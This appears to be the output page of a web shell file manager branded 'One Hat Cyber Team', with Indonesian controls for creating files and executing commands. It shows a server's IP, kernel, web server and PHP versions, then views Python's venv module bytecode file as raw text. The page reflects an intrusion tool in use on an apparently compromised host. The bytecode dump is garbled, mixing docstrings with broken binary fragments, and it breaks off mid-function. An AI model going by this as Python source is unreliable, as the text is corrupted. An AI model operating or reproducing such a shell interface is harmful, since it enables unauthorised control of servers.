⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.10
/
venv
/
__pycache__
/
View File Name :
__init__.cpython-310.pyc
o }5he @ s d Z ddlZddlZddlZddlZddlZddlZddlZddlZdZ e eZG dd dZ dddZdd d ZedkrldZze dZW n eyd Z zed e ejd W Y dZ[ndZ[ww ee dS dS )z Virtual environment (venv) package for Python. Based on PEP 405. Copyright (C) 2011-2014 Vinay Sajip. Licensed to the PSF under a contributor agreement. N)pip setuptoolsc @ s e Zd ZdZ d"ddZdd Zdd Zd d Zdd Ze j dkr)d#ddZnd#ddZdd Zdd Z dd Zdd Zdd Zdd Zdd Zd d! ZdS )$ EnvBuildera This class exists to allow virtual environment creation to be customized. The constructor parameters determine the builder's behaviour when called upon to create a virtual environment. By default, the builder makes the system (global) site-packages dir *un*available to the created environment. If invoked using the Python -m option, the default is to use copying on Windows platforms but symlinks elsewhere. If instantiated some other way, the default is to *not* use symlinks. :param system_site_packages: If True, the system (global) site-packages dir is available to created environments. :param clear: If True, delete the contents of the environment directory if it already exists, before environment creation. :param symlinks: If True, attempt to symlink rather than copy files into virtual environment. :param upgrade: If True, upgrade an existing virtual environment. :param with_pip: If True, ensure pip is installed in the virtual environment :param prompt: Alternative terminal prefix for the environment. :param upgrade_deps: Update the base venv modules to the latest on PyPI FNc C sF || _ || _|| _|| _|| _|dkrtjt }|| _ || _ d S )N.)system_site_packagesclearsymlinksupgradewith_pipospathbasenamegetcwdpromptupgrade_deps)selfr r r r r r r r $/usr/lib/python3.10/venv/__init__.py__init__/ s zEnvBuilder.__init__c C s t j|}| |}| j}d| _| | | | | jr#| | | j s0| | | | |r:d| _| | | jrD| | dS dS )z Create a virtual environment in a directory. :param env_dir: The target directory to create an environment in. FTN)r r abspathensure_directoriesr create_configurationsetup_pythonr _setup_pipr setup_scripts post_setupr upgrade_dependencies)r env_dircontexttrue_system_site_packagesr r r create<